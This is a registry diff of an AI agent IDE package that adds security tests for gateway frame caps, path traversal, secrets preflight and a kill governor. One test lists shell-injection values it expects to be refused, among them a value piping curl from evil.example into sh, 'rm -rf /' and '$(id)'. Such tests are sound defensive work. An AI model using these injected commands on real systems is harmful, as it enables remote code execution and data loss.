@agenthippo-ai/agenthippo 0.2.3-dataplane → 1.110.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/out/agentpack/index.js +3 -1
- package/out/agentpack/paths.js +25 -2
- package/out/analytics/dashboard/localFleetAdapter.js +82 -2
- package/out/analytics/dashboard/provider.js +13 -2
- package/out/analytics/dashboard/webview/panel.js +3 -2
- package/out/analytics/identity.js +0 -0
- package/out/analytics/service.js +29 -25
- package/out/analytics/sessionEvents.js +100 -24
- package/out/auth/authBaseUrl.js +59 -0
- package/out/auth/bootstrapApply.js +9 -10
- package/out/auth/brokerClient.js +48 -14
- package/out/auth/provider.js +8 -21
- package/out/auth/sessionStore.js +3 -40
- package/out/auth/signInFlow.js +2 -1
- package/out/auth-broker/config.js +50 -5
- package/out/auth-broker/server.js +126 -26
- package/out/auth-broker/store.js +25 -24
- package/out/authority/warrant.js +206 -0
- package/out/branding.js +27 -1
- package/out/cli/commands/conformance.js +249 -0
- package/out/cli/commands/data-plane.js +151 -0
- package/out/cli/commands/deploy.js +1 -0
- package/out/cli/commands/gateway.js +4 -0
- package/out/cli/commands/pack.js +182 -3
- package/out/cli/commands/sandbox.js +351 -0
- package/out/cli/commands/serve.js +1145 -130
- package/out/cli/commands/store.js +12 -4
- package/out/cli/credential-context.js +17 -0
- package/out/cli/data-plane/gateway.js +28 -5
- package/out/cli/data-plane/index.js +18 -2
- package/out/cli/data-plane/registry.js +9 -0
- package/out/cli/data-plane/remote.js +106 -0
- package/out/cli/data-plane/sidecar.js +225 -0
- package/out/cli/deploy/layers/identity.js +88 -4
- package/out/cli/deploy-init.js +89 -24
- package/out/cli/deps.js +106 -2
- package/out/cli/idp-init.js +35 -0
- package/out/cli/index.js +171 -17
- package/out/cli/pack-install-ref.js +15 -0
- package/out/cli/pack-loader.js +8 -1
- package/out/cli/pack-runtime.js +61 -0
- package/out/cli/runtime.js +35 -1
- package/out/cli/serve-hardening.js +260 -14
- package/out/cli/utils.js +12 -1
- package/out/engines/base.js +32 -3
- package/out/engines/claude.js +33 -15
- package/out/engines/codex.js +111 -27
- package/out/engines/custom.js +15 -1
- package/out/evidence/sessionShip.js +643 -0
- package/out/extension.js +11 -2
- package/out/gateway/bridge.js +40 -2
- package/out/gateway/client.js +34 -1
- package/out/gateway/installSource.js +68 -0
- package/out/gateway/lifecycle.js +185 -51
- package/out/gateway/outboundPaths.js +4 -1
- package/out/gateway/secretsPreflight.js +90 -0
- package/out/gateway/service.js +7 -2
- package/out/headless/index.js +25 -2
- package/out/live-e2e/mcp-demo/server.mjs +32 -0
- package/out/mcp.js +30 -0
- package/out/pack/caps.js +271 -0
- package/out/pack/governor.js +326 -0
- package/out/pack/lease-schema.js +273 -0
- package/out/pack/lease.js +682 -0
- package/out/pack/reconcile.js +217 -0
- package/out/pack/signature.js +839 -0
- package/out/remote/handleRemoteChat.js +44 -3
- package/out/remote/remoteTrust.js +277 -0
- package/out/remote/serveClient.js +52 -5
- package/out/runner/host.js +141 -0
- package/out/runner/protocol.js +128 -0
- package/out/runner/remoteEngine.js +166 -0
- package/out/runtime/interfaces/edit-tracker.js +2 -0
- package/out/runtime/vscode/vscode-edit-tracker.js +2 -0
- package/out/sandbox/containerDriver.js +572 -0
- package/out/sandbox/processDriver.js +318 -0
- package/out/sandbox/sandboxRunner.js +303 -0
- package/out/sandbox/support.js +301 -0
- package/out/sandbox/types.js +55 -0
- package/out/scripts/agentide-litellm.sh +67 -5
- package/out/scripts/agentide_litellm_hooks_v1.py +266 -21
- package/out/scripts/analytics/agentide-litellm-otel.config.yaml +98 -132
- package/out/scripts/analytics/setup-analytics.ps1 +45 -14
- package/out/scripts/analytics/setup-analytics.sh +106 -15
- package/out/scripts/analytics/start-analytics.sh +86 -14
- package/out/scripts/gateway/setup-gateway.sh +72 -32
- package/out/shared/models.js +11 -110
- package/out/spotlight/install.js +7 -1
- package/out/store/index.js +41 -10
- package/out/sync.js +3 -1
- package/out/test/analytics.test.js +162 -23
- package/out/test/auth-baseurl.test.js +132 -0
- package/out/test/auth-bootstrapApply.test.js +27 -6
- package/out/test/auth-broker-hardening.test.js +227 -0
- package/out/test/auth-broker.test.js +59 -9
- package/out/test/branding.test.js +13 -0
- package/out/test/caps-governor.test.js +460 -0
- package/out/test/codex-new-file-survival.test.js +119 -0
- package/out/test/configuration-scopes.test.js +131 -0
- package/out/test/data-plane-engine-wiring.test.js +32 -0
- package/out/test/data-plane.test.js +380 -0
- package/out/test/deploy-init.test.js +47 -1
- package/out/test/gateway-client.test.js +28 -0
- package/out/test/gateway-install-source.test.js +111 -0
- package/out/test/gateway-lifecycle.test.js +1 -1
- package/out/test/gateway-outbound.test.js +7 -0
- package/out/test/gateway-secrets-preflight.test.js +127 -0
- package/out/test/gateway-session-routing.test.js +18 -0
- package/out/test/governor-hardening.test.js +222 -0
- package/out/test/headless-sync.test.js +22 -0
- package/out/test/lease-signature.test.js +357 -0
- package/out/test/lease-trust-root.test.js +273 -0
- package/out/test/lease-validation.test.js +224 -0
- package/out/test/lease.test.js +114 -0
- package/out/test/localFleetAdapter.test.js +91 -0
- package/out/test/mcp.test.js +27 -1
- package/out/test/pack-admission.test.js +216 -0
- package/out/test/pack-digest-parity.test.js +140 -0
- package/out/test/pack-reconcile.test.js +183 -0
- package/out/test/pack-signature-artifact.test.js +103 -0
- package/out/test/pack-signature.test.js +176 -0
- package/out/test/pack-trust-root.test.js +202 -0
- package/out/test/remote-trust.test.js +242 -0
- package/out/test/runner-protocol.test.js +249 -0
- package/out/test/sandbox-driver.test.js +553 -0
- package/out/test/sandbox-hardening.test.js +406 -0
- package/out/test/sandbox-runner.test.js +343 -0
- package/out/test/sandbox-scope.test.js +449 -0
- package/out/test/serve-cron-acceptance.test.js +370 -0
- package/out/test/serve-gateway-turn.test.js +122 -0
- package/out/test/serve-hardening.test.js +227 -15
- package/out/test/serveClient.test.js +6 -5
- package/out/test/sessionShip.test.js +618 -0
- package/out/test/spotlightPublish.test.js +28 -0
- package/out/test/store-install-safe.test.js +69 -0
- package/out/test/tls-bypass.test.js +90 -0
- package/out/test/warrant.test.js +138 -0
- package/out/utils.js +46 -9
- package/package.json +1 -1
|
@@ -328,6 +328,34 @@ suite('GatewayClient - events', () => {
|
|
|
328
328
|
const receivedParams = receivedFrame.params;
|
|
329
329
|
assert.strictEqual(receivedParams.message, 'Hello from WhatsApp');
|
|
330
330
|
});
|
|
331
|
+
test('drops frames larger than the cap instead of parsing them', async () => {
|
|
332
|
+
const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
|
|
333
|
+
const clientInfo = createClientInfo();
|
|
334
|
+
const connectPromise = client.connect(clientInfo);
|
|
335
|
+
await new Promise((resolve) => setTimeout(resolve, 10));
|
|
336
|
+
const connectFrame = JSON.parse(mockWs.sentMessages[0]);
|
|
337
|
+
simulateHelloOk(connectFrame.id);
|
|
338
|
+
await connectPromise;
|
|
339
|
+
let receivedFrame;
|
|
340
|
+
let errorMessage = '';
|
|
341
|
+
client.on('request', (frame) => {
|
|
342
|
+
receivedFrame = frame;
|
|
343
|
+
});
|
|
344
|
+
client.on('error', (err) => {
|
|
345
|
+
errorMessage = err.message;
|
|
346
|
+
});
|
|
347
|
+
mockWs.simulateMessage({
|
|
348
|
+
type: 'req',
|
|
349
|
+
id: 'server-req-huge',
|
|
350
|
+
method: 'agent.run',
|
|
351
|
+
params: {
|
|
352
|
+
message: 'x'.repeat(client_js_1.MAX_GATEWAY_FRAME_BYTES + 1),
|
|
353
|
+
idempotencyKey: 'idem-huge',
|
|
354
|
+
},
|
|
355
|
+
});
|
|
356
|
+
assert.strictEqual(receivedFrame, undefined, 'Oversized frame must not be dispatched');
|
|
357
|
+
assert.ok(errorMessage.includes('exceeds'), `Expected a size error, got: ${errorMessage}`);
|
|
358
|
+
});
|
|
331
359
|
test('emits event:name for Gateway events', async () => {
|
|
332
360
|
const client = new client_js_1.GatewayClient({ url: 'ws://localhost:18789' });
|
|
333
361
|
const clientInfo = createClientInfo();
|
|
@@ -0,0 +1,111 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*---------------------------------------------------------------------------------------------
|
|
3
|
+
* Copyright (c) AgentHippo.ai. All rights reserved.
|
|
4
|
+
*
|
|
5
|
+
* `agentide.anywhere.installSource` names a package that is installed globally and whose
|
|
6
|
+
* postinstall runs as the user. The old guard was a character BLOCKLIST that did not include the
|
|
7
|
+
* double quote, while the value was interpolated into `--source "${installSource}"`.
|
|
8
|
+
*--------------------------------------------------------------------------------------------*/
|
|
9
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
12
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
13
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
14
|
+
}
|
|
15
|
+
Object.defineProperty(o, k2, desc);
|
|
16
|
+
}) : (function(o, m, k, k2) {
|
|
17
|
+
if (k2 === undefined) k2 = k;
|
|
18
|
+
o[k2] = m[k];
|
|
19
|
+
}));
|
|
20
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
21
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
22
|
+
}) : function(o, v) {
|
|
23
|
+
o["default"] = v;
|
|
24
|
+
});
|
|
25
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
26
|
+
var ownKeys = function(o) {
|
|
27
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
28
|
+
var ar = [];
|
|
29
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
30
|
+
return ar;
|
|
31
|
+
};
|
|
32
|
+
return ownKeys(o);
|
|
33
|
+
};
|
|
34
|
+
return function (mod) {
|
|
35
|
+
if (mod && mod.__esModule) return mod;
|
|
36
|
+
var result = {};
|
|
37
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
38
|
+
__setModuleDefault(result, mod);
|
|
39
|
+
return result;
|
|
40
|
+
};
|
|
41
|
+
})();
|
|
42
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
43
|
+
require("mocha");
|
|
44
|
+
const assert = __importStar(require("assert"));
|
|
45
|
+
// Imported from `gateway/installSource` rather than `gateway/lifecycle`: the rule was moved into
|
|
46
|
+
// its own `vscode`-free module precisely so it can be exercised without the extension host.
|
|
47
|
+
const installSource_1 = require("../gateway/installSource");
|
|
48
|
+
function ok(source) {
|
|
49
|
+
return (0, installSource_1.validateAnywhereInstallSource)(source).ok;
|
|
50
|
+
}
|
|
51
|
+
suite('anywhere install source allow-list', () => {
|
|
52
|
+
test('accepts the shipped default, unchanged', () => {
|
|
53
|
+
// The pinned default carries a written rationale for refusing @latest; it must keep working.
|
|
54
|
+
assert.ok(ok('@agenthippo-ai/hippoclaw@2026.7.28'));
|
|
55
|
+
});
|
|
56
|
+
test('accepts the documented override forms', () => {
|
|
57
|
+
assert.ok(ok('@agenthippo-ai/hippoclaw@latest'));
|
|
58
|
+
assert.ok(ok('openclaw@latest'));
|
|
59
|
+
assert.ok(ok('openclaw'));
|
|
60
|
+
assert.ok(ok('openclaw@^1.2.3'));
|
|
61
|
+
assert.ok(ok('github:agenthippoai/hippoclaw'));
|
|
62
|
+
assert.ok(ok('github:agenthippoai/hippoclaw#main'));
|
|
63
|
+
assert.ok(ok('/Users/me/dev/hippoclaw'));
|
|
64
|
+
assert.ok(ok('./hippoclaw'));
|
|
65
|
+
assert.ok(ok('C:\\dev\\hippoclaw'));
|
|
66
|
+
assert.ok(ok('https://registry.example.com/hippoclaw-1.0.0.tgz'));
|
|
67
|
+
});
|
|
68
|
+
test('the double quote — the character the old blocklist missed — is refused', () => {
|
|
69
|
+
// `--source "a" ; curl evil | sh ; "` was the whole exploit.
|
|
70
|
+
assert.ok(!ok('a" ; curl https://evil.example/x | sh ; "'));
|
|
71
|
+
assert.ok(!ok('pkg"'));
|
|
72
|
+
});
|
|
73
|
+
test('classic shell metacharacters are refused', () => {
|
|
74
|
+
for (const bad of [
|
|
75
|
+
'pkg; rm -rf /',
|
|
76
|
+
'pkg && curl evil',
|
|
77
|
+
'pkg | sh',
|
|
78
|
+
'pkg `id`',
|
|
79
|
+
'pkg $(id)',
|
|
80
|
+
'pkg\nrm -rf /',
|
|
81
|
+
'pkg\rwhoami',
|
|
82
|
+
"pkg' ; id ; '",
|
|
83
|
+
'pkg>out',
|
|
84
|
+
'pkg<in',
|
|
85
|
+
]) {
|
|
86
|
+
assert.ok(!ok(bad), `expected refusal for ${JSON.stringify(bad)}`);
|
|
87
|
+
}
|
|
88
|
+
});
|
|
89
|
+
test('an http (not https) tarball URL is refused', () => {
|
|
90
|
+
assert.ok(!ok('http://registry.example.com/x.tgz'));
|
|
91
|
+
});
|
|
92
|
+
test('an https URL that is not a tarball is refused', () => {
|
|
93
|
+
assert.ok(!ok('https://evil.example/install.sh'));
|
|
94
|
+
});
|
|
95
|
+
test('empty and whitespace-padded values are refused', () => {
|
|
96
|
+
assert.ok(!ok(''));
|
|
97
|
+
assert.ok(!ok(' '));
|
|
98
|
+
assert.ok(!ok(' openclaw'));
|
|
99
|
+
assert.ok(!ok('openclaw '));
|
|
100
|
+
assert.ok(!ok('openclaw --foo'));
|
|
101
|
+
});
|
|
102
|
+
test('every refusal names the accepted forms', () => {
|
|
103
|
+
for (const bad of ['pkg; id', '', 'openclaw ', 'https://evil.example/install.sh']) {
|
|
104
|
+
const result = (0, installSource_1.validateAnywhereInstallSource)(bad);
|
|
105
|
+
assert.strictEqual(result.ok, false, bad);
|
|
106
|
+
if (!result.ok) {
|
|
107
|
+
assert.ok(result.reason.includes('npm specifier'), `the message for ${JSON.stringify(bad)} must tell the user what IS accepted`);
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
});
|
|
111
|
+
});
|
|
@@ -80,7 +80,7 @@ function resetHarnessState() {
|
|
|
80
80
|
configValues.clear();
|
|
81
81
|
configValues.set("hidden", false);
|
|
82
82
|
configValues.set("enabled", false);
|
|
83
|
-
configValues.set("installSource", "
|
|
83
|
+
configValues.set("installSource", "@agenthippo-ai/hippoclaw@latest");
|
|
84
84
|
configValues.set("port", 18789);
|
|
85
85
|
configValues.set("autoStart", false);
|
|
86
86
|
informationHandler = undefined;
|
|
@@ -63,6 +63,13 @@ suite('Gateway outbound paths', () => {
|
|
|
63
63
|
test('safeGatewaySessionDirId sanitizes gateway session keys', () => {
|
|
64
64
|
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('agent:data-analyst:slack:channel:C999'), 'agent_data-analyst_slack_channel_C999');
|
|
65
65
|
});
|
|
66
|
+
test('safeGatewaySessionDirId rejects dot-only keys (path traversal)', () => {
|
|
67
|
+
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('.'), '_');
|
|
68
|
+
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('..'), '__');
|
|
69
|
+
// Slash-separated traversal collapses via the char class, never into dot segments.
|
|
70
|
+
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('../../etc'), '.._.._etc');
|
|
71
|
+
assert.strictEqual((0, outboundPaths_js_1.getGatewayOutboundFilePath)('/tmp/ws', (0, outboundPaths_js_1.safeGatewaySessionDirId)('..')), '/tmp/ws/.agent-hippo/sessions/__/gateway-outbound.json');
|
|
72
|
+
});
|
|
66
73
|
test('resolveGatewayOutboundFilePath prefers chat session id', () => {
|
|
67
74
|
const file = (0, outboundPaths_js_1.resolveGatewayOutboundFilePath)({
|
|
68
75
|
workspaceRoot: '/tmp/ws',
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*---------------------------------------------------------------------------------------------
|
|
3
|
+
* Copyright (c) AgentHippo.ai. All rights reserved.
|
|
4
|
+
*--------------------------------------------------------------------------------------------*/
|
|
5
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
6
|
+
if (k2 === undefined) k2 = k;
|
|
7
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
8
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
9
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
10
|
+
}
|
|
11
|
+
Object.defineProperty(o, k2, desc);
|
|
12
|
+
}) : (function(o, m, k, k2) {
|
|
13
|
+
if (k2 === undefined) k2 = k;
|
|
14
|
+
o[k2] = m[k];
|
|
15
|
+
}));
|
|
16
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
17
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
18
|
+
}) : function(o, v) {
|
|
19
|
+
o["default"] = v;
|
|
20
|
+
});
|
|
21
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
22
|
+
var ownKeys = function(o) {
|
|
23
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
24
|
+
var ar = [];
|
|
25
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
26
|
+
return ar;
|
|
27
|
+
};
|
|
28
|
+
return ownKeys(o);
|
|
29
|
+
};
|
|
30
|
+
return function (mod) {
|
|
31
|
+
if (mod && mod.__esModule) return mod;
|
|
32
|
+
var result = {};
|
|
33
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
34
|
+
__setModuleDefault(result, mod);
|
|
35
|
+
return result;
|
|
36
|
+
};
|
|
37
|
+
})();
|
|
38
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
|
+
const assert = __importStar(require("assert"));
|
|
40
|
+
const secretsPreflight_js_1 = require("../gateway/secretsPreflight.js");
|
|
41
|
+
function slackConfig(enabled = true) {
|
|
42
|
+
return {
|
|
43
|
+
channels: {
|
|
44
|
+
slack: {
|
|
45
|
+
...(enabled === undefined ? {} : { enabled }),
|
|
46
|
+
botToken: { source: 'env', provider: 'default', id: 'SLACK_BOT_TOKEN' },
|
|
47
|
+
appToken: { source: 'env', provider: 'default', id: 'SLACK_APP_TOKEN' },
|
|
48
|
+
},
|
|
49
|
+
telegram: {
|
|
50
|
+
enabled: true,
|
|
51
|
+
botToken: '1234:literal-token',
|
|
52
|
+
},
|
|
53
|
+
},
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
suite('Gateway secrets preflight', () => {
|
|
57
|
+
test('reports enabled channel env refs missing from env', () => {
|
|
58
|
+
const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), {});
|
|
59
|
+
assert.deepStrictEqual(missing, [
|
|
60
|
+
{ channel: 'slack', envVars: ['SLACK_APP_TOKEN', 'SLACK_BOT_TOKEN'] },
|
|
61
|
+
]);
|
|
62
|
+
});
|
|
63
|
+
test('resolved and whitespace-only env values', () => {
|
|
64
|
+
const env = { SLACK_BOT_TOKEN: 'xoxb-1', SLACK_APP_TOKEN: ' ' };
|
|
65
|
+
const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), env);
|
|
66
|
+
assert.deepStrictEqual(missing, [{ channel: 'slack', envVars: ['SLACK_APP_TOKEN'] }]);
|
|
67
|
+
});
|
|
68
|
+
test('skips channels with enabled: false', () => {
|
|
69
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(false), {}), []);
|
|
70
|
+
});
|
|
71
|
+
test('channel without explicit enabled counts as enabled', () => {
|
|
72
|
+
const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(undefined), {});
|
|
73
|
+
assert.strictEqual(missing.length, 1);
|
|
74
|
+
assert.strictEqual(missing[0].channel, 'slack');
|
|
75
|
+
});
|
|
76
|
+
test('literal token strings and non-env sources are not refs', () => {
|
|
77
|
+
const config = {
|
|
78
|
+
channels: {
|
|
79
|
+
custom: {
|
|
80
|
+
enabled: true,
|
|
81
|
+
token: 'literal',
|
|
82
|
+
other: { source: 'keychain', id: 'IGNORED_KEY' },
|
|
83
|
+
},
|
|
84
|
+
},
|
|
85
|
+
};
|
|
86
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), []);
|
|
87
|
+
});
|
|
88
|
+
test('finds refs nested in arrays and deep objects', () => {
|
|
89
|
+
const config = {
|
|
90
|
+
channels: {
|
|
91
|
+
custom: {
|
|
92
|
+
enabled: true,
|
|
93
|
+
accounts: [{ auth: { token: { source: 'env', id: 'DEEP_TOKEN' } } }],
|
|
94
|
+
},
|
|
95
|
+
},
|
|
96
|
+
};
|
|
97
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), [
|
|
98
|
+
{ channel: 'custom', envVars: ['DEEP_TOKEN'] },
|
|
99
|
+
]);
|
|
100
|
+
});
|
|
101
|
+
test('non-object configs and configs without channels yield nothing', () => {
|
|
102
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(undefined, {}), []);
|
|
103
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)('nope', {}), []);
|
|
104
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)({ agents: {} }, {}), []);
|
|
105
|
+
});
|
|
106
|
+
test('parseStrictJsonConfig rejects JSON5 comments', () => {
|
|
107
|
+
assert.strictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ /* hi */ "a": 1 }'), undefined);
|
|
108
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ "a": 1 }'), { a: 1 });
|
|
109
|
+
});
|
|
110
|
+
test('disableChannelsInConfigText disables only the named channels', () => {
|
|
111
|
+
const content = JSON.stringify(slackConfig(), null, 2);
|
|
112
|
+
const updated = (0, secretsPreflight_js_1.disableChannelsInConfigText)(content, ['slack']);
|
|
113
|
+
assert.ok(updated);
|
|
114
|
+
const parsed = JSON.parse(updated);
|
|
115
|
+
assert.strictEqual(parsed.channels.slack.enabled, false);
|
|
116
|
+
assert.strictEqual(parsed.channels.telegram.enabled, true);
|
|
117
|
+
// Secret refs stay in place so re-enabling is a one-flag change.
|
|
118
|
+
assert.deepStrictEqual(parsed.channels.slack.botToken, {
|
|
119
|
+
source: 'env',
|
|
120
|
+
provider: 'default',
|
|
121
|
+
id: 'SLACK_BOT_TOKEN',
|
|
122
|
+
});
|
|
123
|
+
});
|
|
124
|
+
test('disableChannelsInConfigText refuses non-strict-JSON content', () => {
|
|
125
|
+
assert.strictEqual((0, secretsPreflight_js_1.disableChannelsInConfigText)('{ /* comment */ "channels": {} }', ['slack']), undefined);
|
|
126
|
+
});
|
|
127
|
+
});
|
|
@@ -38,6 +38,24 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
38
38
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
39
|
const assert = __importStar(require("assert"));
|
|
40
40
|
const bridge_js_1 = require("../gateway/bridge.js");
|
|
41
|
+
suite('Gateway agent.run validation', () => {
|
|
42
|
+
test('accepts a well-formed run and ignores absent fields', () => {
|
|
43
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ message: 'hi' }), undefined);
|
|
44
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({
|
|
45
|
+
message: 'hi',
|
|
46
|
+
sessionKey: 'agent:data-analyst:slack:dm:u01',
|
|
47
|
+
senderId: 'U01',
|
|
48
|
+
threadId: undefined,
|
|
49
|
+
}), undefined);
|
|
50
|
+
});
|
|
51
|
+
test('names the first identifier that is over-long or not a string', () => {
|
|
52
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ sessionKey: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS + 1) }), 'sessionKey');
|
|
53
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ channel: { evil: true } }), 'channel');
|
|
54
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ senderId: 12345 }), 'senderId');
|
|
55
|
+
// At the limit exactly is still acceptable.
|
|
56
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ target: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS) }), undefined);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
41
59
|
suite('Gateway session routing', () => {
|
|
42
60
|
test('looksLikeGatewayChannelRouteKey detects Slack channel keys', () => {
|
|
43
61
|
assert.strictEqual((0, bridge_js_1.looksLikeGatewayChannelRouteKey)('agent:ide-ws-data-analyst:slack:channel:c0b1smmjcq0'), true);
|
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*---------------------------------------------------------------------------------------------
|
|
3
|
+
* Governor hardening: kill that means kill (or says it does not), budgets that survive a kill,
|
|
4
|
+
* session stops that survive session_id rotation, and one constant for the poll interval.
|
|
5
|
+
*--------------------------------------------------------------------------------------------*/
|
|
6
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
7
|
+
if (k2 === undefined) k2 = k;
|
|
8
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
9
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
10
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
11
|
+
}
|
|
12
|
+
Object.defineProperty(o, k2, desc);
|
|
13
|
+
}) : (function(o, m, k, k2) {
|
|
14
|
+
if (k2 === undefined) k2 = k;
|
|
15
|
+
o[k2] = m[k];
|
|
16
|
+
}));
|
|
17
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
18
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
19
|
+
}) : function(o, v) {
|
|
20
|
+
o["default"] = v;
|
|
21
|
+
});
|
|
22
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
23
|
+
var ownKeys = function(o) {
|
|
24
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
25
|
+
var ar = [];
|
|
26
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
27
|
+
return ar;
|
|
28
|
+
};
|
|
29
|
+
return ownKeys(o);
|
|
30
|
+
};
|
|
31
|
+
return function (mod) {
|
|
32
|
+
if (mod && mod.__esModule) return mod;
|
|
33
|
+
var result = {};
|
|
34
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
35
|
+
__setModuleDefault(result, mod);
|
|
36
|
+
return result;
|
|
37
|
+
};
|
|
38
|
+
})();
|
|
39
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
40
|
+
require("mocha");
|
|
41
|
+
const assert = __importStar(require("assert"));
|
|
42
|
+
const governor_1 = require("../pack/governor");
|
|
43
|
+
const lease_1 = require("../pack/lease");
|
|
44
|
+
function fakeSandboxes(initial = [], supportsInFlightTermination = true) {
|
|
45
|
+
const state = {
|
|
46
|
+
live: [...initial],
|
|
47
|
+
destroyed: [],
|
|
48
|
+
revoked: [],
|
|
49
|
+
supportsInFlightTermination,
|
|
50
|
+
// Session scope: one sandbox per session, so its key IS the session key.
|
|
51
|
+
sandboxes() {
|
|
52
|
+
return state.live.map((sessionKey) => ({
|
|
53
|
+
sandboxKey: sessionKey, sandboxId: `sandbox-${sessionKey}`, sessionKeys: [sessionKey],
|
|
54
|
+
}));
|
|
55
|
+
},
|
|
56
|
+
async destroySession(sessionKey) {
|
|
57
|
+
state.destroyed.push(sessionKey);
|
|
58
|
+
state.live = state.live.filter((s) => s !== sessionKey);
|
|
59
|
+
},
|
|
60
|
+
async revokeRoute(sessionKey, what) {
|
|
61
|
+
state.revoked.push({ sessionKey, what });
|
|
62
|
+
},
|
|
63
|
+
};
|
|
64
|
+
return state;
|
|
65
|
+
}
|
|
66
|
+
const liveLease = (over = {}) => ({
|
|
67
|
+
pack: 'joker1',
|
|
68
|
+
enabled: true,
|
|
69
|
+
expiresAt: Math.floor(Date.now() / 1000) + 3600,
|
|
70
|
+
...over,
|
|
71
|
+
});
|
|
72
|
+
suite('kill never silently degrades to drain', () => {
|
|
73
|
+
test('without a sandbox driver, kill is REPORTED as the drain it actually is', async () => {
|
|
74
|
+
const lines = [];
|
|
75
|
+
const events = [];
|
|
76
|
+
const sandboxes = fakeSandboxes([], false);
|
|
77
|
+
const gov = (0, governor_1.createGovernor)({
|
|
78
|
+
caps: {}, sandboxes, pack: 'joker1',
|
|
79
|
+
getLease: async () => liveLease({ deny: [{ scope: 'session', match: 's1', mode: 'kill' }] }),
|
|
80
|
+
logger: { info: (m) => lines.push(m), warn: (m) => lines.push(m) },
|
|
81
|
+
audit: (event, fields) => events.push({ event, fields }),
|
|
82
|
+
});
|
|
83
|
+
await gov.refresh();
|
|
84
|
+
assert.ok(lines.some((l) => /DEGRADED TO DRAIN/.test(l)), 'the console must not claim kill when it means drain');
|
|
85
|
+
assert.ok(events.some((e) => e.event === 'deny_kill_degraded' && e.fields.effectiveMode === 'drain'));
|
|
86
|
+
// The substance still holds: the NEXT turn is refused.
|
|
87
|
+
